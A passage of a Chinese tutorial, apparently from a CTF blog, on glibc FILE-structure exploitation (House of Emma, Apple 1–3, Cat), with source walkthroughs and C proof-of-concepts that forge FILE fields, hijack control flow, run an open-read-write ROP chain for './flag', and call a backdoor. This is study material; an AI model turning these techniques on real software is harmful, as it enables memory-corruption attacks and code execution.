_IO_funlockfile (fp); return res; } static int locked_vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (_IO_fwide (fp, 0 ) <= 0 ) return __vfprintf_internal (fp, fmt, ap, mode_flags); ... } # define vfprintf __vfprintf_internal int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags) { ... outstring ((const UCHAR_T *) format, lead_str_end - (const UCHAR_T *) format); ... } #define outstring(String, Len) \ do { \ const void *string_ = (String); \ done = outstring_func(s, string_, (Len), done); \ if (done < 0) \ goto all_done; \ } while (0) # define PUT(F, S, N) _IO_sputn ((F), (S), (N)) static inline int outstring_func (FILE *s, const UCHAR_T *string , size_t length, int done) { assert ((size_t ) done <= (size_t ) INT_MAX); if ((size_t ) PUT (s, string , length) != (size_t ) (length)) return -1 ; return done_add_func (length, done); }
这里以同名题目2021湖湘杯 house of emma 为例讲解利用过程:
在利用 UAF 泄露 libc 和堆地址后,利用 2 次 large bin attack 分别覆盖 pointer_guard
和 stderr
指针为某 chunk 地址,然后作如下图所示构造。最后通过 __malloc_asserrt
触发漏洞。
需要注意的是,由于伪造的 IO_FILE 的 flag 的 _IO_USER_LOCK
(0x8000)没有置位,因此在 __vfxprintf
函数中会执行如下代码: 因此伪造的 IO_FILE 的 _lock
应该指向可读写的内存。
House of Apple1 在 IO_FILE 结构体中存在指针 _wide_data
指向一块 _IO_wide_data
类型的内存,_IO_wide_data
类型定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
通过 _IO_wstrn_overflow
函数可以在 _wide_data
指向的内存中写入连续 8 个 snf->overflow_buf
开始或结束位置的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 void _IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a) { if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF)) free (f->_wide_data->_IO_buf_base); f->_wide_data->_IO_buf_base = b; f->_wide_data->_IO_buf_end = eb; if (a) f->_flags2 &= ~_IO_FLAGS2_USER_WBUF; else f->_flags2 |= _IO_FLAGS2_USER_WBUF; } static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c) { _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t )), 0 ); fp->_wide_data->_IO_write_base = snf->overflow_buf; fp->_wide_data->_IO_read_base = snf->overflow_buf; fp->_wide_data->_IO_read_ptr = snf->overflow_buf; fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t ))); } fp->_wide_data->_IO_write_ptr = snf->overflow_buf; fp->_wide_data->_IO_write_end = snf->overflow_buf; return c; }
其中 _IO_wstrnfile
相关定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct _IO_streambuf { FILE _f; const struct _IO_jump_t *vtable ; }; struct _IO_str_fields { _IO_alloc_type _allocate_buffer_unused; _IO_free_type _free_buffer_unused; }; typedef struct _IO_strfile_ { struct _IO_streambuf _sbf ; struct _IO_str_fields _s ; } _IO_strfile; typedef struct { _IO_strfile f; wchar_t overflow_buf[64 ]; } _IO_wstrnfile;
因此只要控制了 _wide_data
指针就能完成任意地址写。其中需要绕过如下判断:
为了能够进入 _IO_wstrn_overflow
函数的 if 判断中,需要满足 fp->_wide_data->_IO_buf_base != snf->overflow_buf
。
为了避免执行 free (f->_wide_data->_IO_buf_base);
需要满足 f->_wide_data->_IO_buf_base
为空或者 f->_flags2 & _IO_FLAGS2_USER_WBUF
不为 0 ,其中 _IO_FLAGS2_USER_WBUF
为 8 。
另外如果利用 FSOP 触发需要满足:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> void main () { setbuf(stdout , 0 ); setbuf(stdin , 0 ); setvbuf(stderr , 0 , 2 , 0 ); puts ("[*] allocate a 0x100 chunk" ); size_t *p1 = malloc (0xf0 ); size_t *tmp = p1; size_t old_value = 0x1122334455667788 ; for (size_t i = 0 ; i < 0x100 / 8 ; i++) { p1[i] = old_value; } puts ("===========================old value=======================" ); for (size_t i = 0 ; i < 4 ; i++) { printf ("[%p]: 0x%016lx 0x%016lx\n" , tmp, tmp[0 ], tmp[1 ]); tmp += 2 ; } puts ("===========================old value=======================" ); size_t puts_addr = (size_t ) &puts ; size_t libc_base = puts_addr - 0x702e0 ; printf ("[*] puts address: %p\n" , (void *) puts_addr); size_t stderr_write_ptr_addr = libc_base + 0x3b8608 ; printf ("[*] stderr->_IO_write_ptr address: %p\n" , (void *) stderr_write_ptr_addr); size_t stderr_flags2_addr = libc_base + 0x3b8654 ; printf ("[*] stderr->_flags2 address: %p\n" , (void *) stderr_flags2_addr); size_t stderr_wide_data_addr = libc_base + 0x3b8680 ; printf ("[*] stderr->_wide_data address: %p\n" , (void *) stderr_wide_data_addr); size_t sdterr_vtable_addr = libc_base + 0x3b86b8 ; printf ("[*] stderr->vtable address: %p\n" , (void *) sdterr_vtable_addr); size_t _IO_wstrn_jumps_addr = libc_base + 0x3b3c40 ; printf ("[*] _IO_wstrn_jumps address: %p\n" , (void *) _IO_wstrn_jumps_addr); puts ("[+] step 1: change stderr->_IO_write_ptr to -1" ); *(size_t *) stderr_write_ptr_addr = (size_t ) -1 ; puts ("[+] step 2: change stderr->_flags2 to 8" ); *(size_t *) stderr_flags2_addr = 8 ; puts ("[+] step 3: replace stderr->_wide_data with the allocated chunk" ); *(size_t *) stderr_wide_data_addr = (size_t ) p1; puts ("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps" ); *(size_t *) sdterr_vtable_addr = (size_t ) _IO_wstrn_jumps_addr; puts ("[+] step 5: call fcloseall and trigger house of apple" ); fcloseall(); tmp = p1; puts ("===========================new value=======================" ); for (size_t i = 0 ; i < 4 ; i++) { printf ("[%p]: 0x%016lx 0x%016lx\n" , tmp, tmp[0 ], tmp[1 ]); tmp += 2 ; } puts ("===========================new value=======================" ); }
House of Apple2 | House of Cat _wide_data
结构中有一个类似 vtable
的 _wide_vtable
指向 _IO_jump_t
结构。
与 vtable
相同,对 glibc 中也定义了调用 _wide_vtable
中函数的宏,其中在 glibc 中真正使用到的有 _IO_WSETBUF
、_IO_WUNDERFLOW
、_IO_WDOALLOCATE
,但与 vtable
不同的是这三个宏均缺少对 _wide_vtable
位置的检查。
例如 _IO_OVERFLOW
的宏在调用 __overflow
函数之前调用了 IO_validate_vtable
检查 vtable
位置的合法性。
1 2 3 #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
而 _IO_WOVERFLOW
没有检查。
1 2 3 4 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
因此可以通过修改 vtable
改变程序执行流程,使程序调用 _wide_vtable
中的函数,然后再将 _wide_vtable
指向一个伪造的函数表从而劫持程序执行流程。 具体利用方式有以下几种:
利用_IO_wfile_overflow函数控制程序执行流 对fp
的设置如下:
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为;sh;
。
vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_overflow
即可
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
函数的调用链如下:
1 2 3 4 _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68 )(fp)
详细分析如下: 首先看_IO_wfile_overflow
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 ) { if (f->_wide_data->_IO_write_base == 0 ) { _IO_wdoallocbuf (f); } } }
需要满足f->_flags & _IO_NO_WRITES == 0
并且f->_flags & _IO_CURRENTLY_PUTTING == 0
和f->_wide_data->_IO_write_base == 0
然后看_IO_wdoallocbuf
函数:
1 2 3 4 5 6 7 8 9 10 11 12 void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return ; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t )_IO_WDOALLOCATE (fp) != WEOF) return ; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1 , 0 ); } libc_hidden_def (_IO_wdoallocbuf)
需要满足fp->_wide_data->_IO_buf_base == 0
和fp->_flags & _IO_UNBUFFERED == 0
。
利用_IO_wfile_underflow_mmap函数控制程序执行流 对fp
的设置如下:
_flags
设置为~4
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为sh;
,注意前面有个空格
vtable
设置为_IO_wfile_jumps_mmap
地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap
即可
_IO_read_ptr < _IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_IO_save_base
设置为0
或者合法的可被free
的地址,即满足*(A + 0x40) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
函数的调用链如下:
1 2 3 4 _IO_wfile_underflow_mmap _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68 )(fp)
详细分析如下: 看_IO_wfile_underflow_mmap
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static wint_t _IO_wfile_underflow_mmap (FILE *fp) { struct _IO_codecvt *cd ; const char *read_stop; if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr; cd = fp->_codecvt; if (fp->_IO_read_ptr >= fp->_IO_read_end && _IO_file_underflow_mmap (fp) == EOF) return WEOF; read_stop = (const char *) fp->_IO_read_ptr; if (fp->_wide_data->_IO_buf_base == NULL ) { if (fp->_wide_data->_IO_save_base != NULL ) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp); } }
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base == NULL
和fp->_wide_data->_IO_save_base == NULL
。
利用_IO_wdefault_xsgetn函数控制程序执行流 这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0 。如果不满足这个条件,可选用其他链。
对fp
的设置如下:
_flags
设置为0x800
vtable
设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps
地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn
即可
_mode
设置为大于0
,即满足*(fp + 0xc0) > 0
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr
设置为0
,即满足*(A + 8) = *A
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
,即满足*(A + 0x20) > *(A + 0x18)
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->overflow
设置为地址C
用于劫持RIP
,即满足*(B + 0x18) = C
函数的调用链如下:
1 2 3 4 5 _IO_wdefault_xsgetn __wunderflow _IO_switch_to_wget_mode _IO_WOVERFLOW *(fp->_wide_data->_wide_vtable + 0x18 )(fp)
详细分析如下: 首先看_IO_wdefault_xsgetn
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 size_t _IO_wdefault_xsgetn (FILE *fp, void *data, size_t n) { size_t more = n; wchar_t *s = (wchar_t *) data; for (;;) { ssize_t count = (fp->_wide_data->_IO_read_end - fp->_wide_data->_IO_read_ptr); if (count > 0 ) { if ((size_t ) count > more) count = more; if (count > 20 ) { s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count); fp->_wide_data->_IO_read_ptr += count; } else if (count <= 0 ) count = 0 ; else { wchar_t *p = fp->_wide_data->_IO_read_ptr; int i = (int ) count; while (--i >= 0 ) *s++ = *p++; fp->_wide_data->_IO_read_ptr = p; } more -= count; } if (more == 0 || __wunderflow (fp) == WEOF) break ; } return n - more; } libc_hidden_def (_IO_wdefault_xsgetn)
由于more
是第三个参数,所以不能为0
。 直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end
,使得count
为0
,不进入if
分支。 随后当more != 0
时会进入__wunderflow
。
接着看__wunderflow
:
1 2 3 4 5 6 7 8 9 10 11 12 13 wint_t __wunderflow (FILE *fp) { if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1 ) != 1 )) return WEOF; if (fp->_mode == 0 ) _IO_fwide (fp, 1 ); if (_IO_in_put_mode (fp)) if (_IO_switch_to_wget_mode (fp) == EOF) return WEOF; }
要想调用到_IO_switch_to_wget_mode
,需要设置fp->mode > 0
,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0
。
然后在_IO_switch_to_wget_mode
函数中:
1 2 3 4 5 6 7 8 int _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; }
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
时就会调用_IO_WOVERFLOW(fp)
。
利用_IO_wfile_seekoff函数控制程序执行流(House of Cat) 对 fp
的设置如下:
_flags
设置为 ~0x8
,如果不能保证 _lock
指向可读写内存则 _flags |= 0x8000
。
vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_seekoff
即可
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
,即满足*A > *(A + 8)
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->overflow
设置为地址C
用于劫持RIP
,即满足*(B + 0x18) = C
函数的调用链如下:
1 2 3 4 _IO_wfile_seekoff _IO_switch_to_wget_mode _IO_WOVERFLOW *(fp->_wide_data->_wide_vtable + 0x18 )(fp)
详细分析如下:
首先看 _IO_wfile_seekoff
函数:
1 2 3 4 5 6 7 8 9 10 _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { ... bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ... }
为了调用 _IO_switch_to_wget_mode
函数,需要满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
或 (fp)->_flags & 0x0800 != 0
。
接着看 _IO_switch_to_wget_mode
:
1 2 3 4 5 6 7 _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ... }
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
时就会调用_IO_WOVERFLOW(fp)
。
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ucontext.h> int main () { size_t puts_addr = (size_t ) &puts ; size_t libc_base = puts_addr - 0x702e0 ; size_t stderr_addr = libc_base + 0x3b87a0 ; size_t *large = malloc (0x420 ); char *buf = malloc (0x18 ); strcpy (buf, "./flag" ); size_t *unsorted = malloc (0x410 ); free (large); size_t *payload = malloc (0x500 ); free (unsorted); large[3 ] = stderr_addr - 0x20 ; malloc (0x20 ); size_t IO_wfile_jumps_addr = libc_base + 0x3b3f40 ; size_t magic_gadget = libc_base + 0x121a90 ; size_t pop_rax_ret = libc_base + 0x3aaa8 ; size_t pop_rdi_ret = libc_base + 0x23256 ; size_t pop_rsi_ret = libc_base + 0x2d89f ; size_t syscall_ret = libc_base + 0x3ac69 ; size_t ret = pop_rax_ret + 1 ; large[-2 ] &= ~0x8 ; large[-1 ] = (size_t ) payload; large[25 ] = IO_wfile_jumps_addr + 0x10 ; large[15 ] = (size_t ) unsorted; large[18 ] = (size_t ) unsorted; unsorted[4 ] = (size_t ) (-1 ); unsorted[28 ] = (size_t ) unsorted; unsorted[3 ] = (size_t ) magic_gadget; payload[4 ] = (size_t ) setcontext + 53 ; payload[13 ] = (size_t ) buf; payload[14 ] = 0 ; payload[17 ] = 0x100 ; payload[20 ] = (size_t ) &payload[31 ]; payload[21 ] = ret; payload[31 ] = pop_rax_ret; payload[32 ] = 2 ; payload[33 ] = syscall_ret; payload[34 ] = pop_rax_ret; payload[35 ] = 0 ; payload[36 ] = pop_rdi_ret; payload[37 ] = 3 ; payload[38 ] = pop_rsi_ret; payload[39 ] = (size_t ) buf; payload[40 ] = syscall_ret; payload[41 ] = pop_rax_ret; payload[42 ] = 1 ; payload[43 ] = pop_rdi_ret; payload[44 ] = 1 ; payload[45 ] = pop_rsi_ret; payload[46 ] = (size_t ) buf; payload[47 ] = syscall_ret; size_t *top_chunk_addr = unsorted + 0x124 ; top_chunk_addr[1 ] = 0 ; malloc (0x500 ); return 0 ; }
House of Apple3 FILE
结构体中有一个成员struct _IO_codecvt *_codecvt;
,偏移为0x98
。该结构体参与宽字符的转换工作,结构体相关定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 struct _IO_codecvt { _IO_iconv_t __cd_in; _IO_iconv_t __cd_out; }; typedef struct { struct __gconv_step *step ; struct __gconv_step_data step_data ; } _IO_iconv_t; struct __gconv_step { struct __gconv_loaded_object *__shlib_handle ; const char *__modname; int __counter; char *__from_name; char *__to_name; __gconv_fct __fct; __gconv_btowc_fct __btowc_fct; __gconv_init_fct __init_fct; __gconv_end_fct __end_fct; int __min_needed_from; int __max_needed_from; int __min_needed_to; int __max_needed_to; int __stateful; void *__data; }; struct __gconv_step_data { unsigned char *__outbuf; unsigned char *__outbufend; int __flags; int __invocation_counter; int __internal_use; __mbstate_t *__statep; __mbstate_t __state; };
以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误。
house of apple3
的利用主要关注以下三个函数:__libio_codecvt_out
、__libio_codecvt_in
和__libio_codecvt_length
。三个函数的利用点都差不多,以__libio_codecvt_in
为例,源码分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 enum __codecvt_result __libio_codecvt_in (struct _IO_codecvt *codecvt , __mbstate_t *statep , const char *from_start , const char *from_end , const char **from_stop , wchar_t *to_start , wchar_t *to_end , wchar_t **to_stop ) { enum __codecvt_result result ; struct __gconv_step *gs = codecvt->__cd_in.step; int status; size_t dummy; const unsigned char *from_start_copy = (unsigned char *) from_start; codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start; codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end; codecvt->__cd_in.step_data.__statep = statep; __gconv_fct fct = gs->__fct; #ifdef PTR_DEMANGLE if (gs->__shlib_handle != NULL ) PTR_DEMANGLE (fct); #endif status = DL_CALL_FCT (fct, (gs, &codecvt->__cd_in.step_data, &from_start_copy, (const unsigned char *) from_end, NULL , &dummy, 0 , 0 )); }
其中,__gconv_fct
和DL_CALL_FCT
被定义为:
1 2 3 4 5 6 7 8 typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int , int ) ; #ifndef DL_CALL_FCT # define DL_CALL_FCT(fct, args) fct args #endif
利用_IO_wfile_underflow函数控制程序执行流 对fp
的设置如下:
_flags
设置为~(4 | 0x10)
vtable
设置为_IO_wfile_jumps
地址(加减偏移),使其能成功调用_IO_wfile_underflow
即可
fp->_IO_read_ptr < fp->_IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
保持默认,或者设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
1 2 3 4 5 _IO_wfile_underflow __libio_codecvt_in DL_CALL_FCT gs = fp->_codecvt->__cd_in.step *(gs->__fct)(gs)
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> void backdoor () { printf ("\033[31m[!] Backdoor is called!\n" ); _exit(0 ); } void main () { setbuf(stdout , 0 ); setbuf(stdin , 0 ); setbuf(stderr , 0 ); char *p1 = calloc (0x200 , 1 ); char *p2 = calloc (0x200 , 1 ); puts ("[*] allocate two 0x200 chunks" ); size_t puts_addr = (size_t ) &puts ; printf ("[*] puts address: %p\n" , (void *) puts_addr); size_t libc_base_addr = puts_addr - 0x702e0 ; printf ("[*] libc base address: %p\n" , (void *) libc_base_addr); size_t _IO_2_1_stderr_addr = libc_base_addr + 0x3b85e0 ; printf ("[*] _IO_2_1_stderr_ address: %p\n" , (void *) _IO_2_1_stderr_addr); size_t _IO_wfile_jumps_addr = libc_base_addr + 0x3b3f40 ; printf ("[*] _IO_wfile_jumps address: %p\n" , (void *) _IO_wfile_jumps_addr); char *stderr2 = (char *) _IO_2_1_stderr_addr; puts ("[+] step 1: set stderr->_flags to ~(4 | 0x10))" ); *(size_t *) stderr2 = 0 ; puts ("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end" ); *(size_t *) (stderr2 + 0x10 ) = (size_t ) -1 ; puts ("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40" ); *(size_t *) (stderr2 + 0xd8 ) = _IO_wfile_jumps_addr - 0x40 ; puts ("[+] step 4: set stderr->codecvt with the allocated chunk p1" ); *(size_t *) (stderr2 + 0x98 ) = (size_t ) p1; puts ("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2" ); *(size_t *) p1 = (size_t ) p2; puts ("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct" ); *(size_t *) (p2 + 0x28 ) = (size_t ) (&backdoor); puts ("[+] step 7: call fflush(stderr) to trigger backdoor func" ); fflush(stderr ); }
详细分析如下:
在_IO_wfile_underflow
函数中调用了__libio_codecvt_in
,代码片段如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 wint_t _IO_wfile_underflow (FILE *fp) { struct _IO_codecvt *cd ; enum __codecvt_result status ; ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return WEOF; if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr; cd = fp->_codecvt; if (fp->_IO_read_ptr < fp->_IO_read_end) { const char *read_stop = (const char *) fp->_IO_read_ptr; fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state; fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base; status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr, fp->_IO_read_end, &read_stop, fp->_wide_data->_IO_read_ptr, fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end); } }
而_IO_wfile_underflow
又是_IO_wfile_jumps
这个_IO_jump_t
类型变量的成员函数。
因此可以劫持或者伪造FILE
结构体的fp->vtable
为_IO_wfile_jumps
,fp->_codecvt
为可控堆地址,当程序执行IO
操作时,控制程序执行流走到_IO_wfile_underflow
,设置好fp->codecvt->__cd_in
结构体,使得最终调用到__libio_codecvt_in
中的DL_CALL_FCT
宏,伪造函数指针,进而控制程序执行流。
注意,在伪造过程中,可以设置gs->__shlib_handle == NULL
,从而绕过__pointer_guard
的指针调用保护。
利用_IO_wfile_underflow_mmap函数控制程序执行流 对fp
的设置如下:
_flags
设置为~4
vtable
设置为_IO_wfile_jumps_mmap
地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap
即可
_IO_read_ptr < _IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
保持默认,或者设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_wide_data->_IO_buf_base
设置为非0
,即满足*(A + 0x30) != 0
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
1 2 3 4 5 _IO_wfile_underflow_mmap __libio_codecvt_in DL_CALL_FCT gs = fp->_codecvt->__cd_in.step *(gs->__fct)(gs)
详细分析如下: 看_IO_wfile_underflow_mmap
函数:
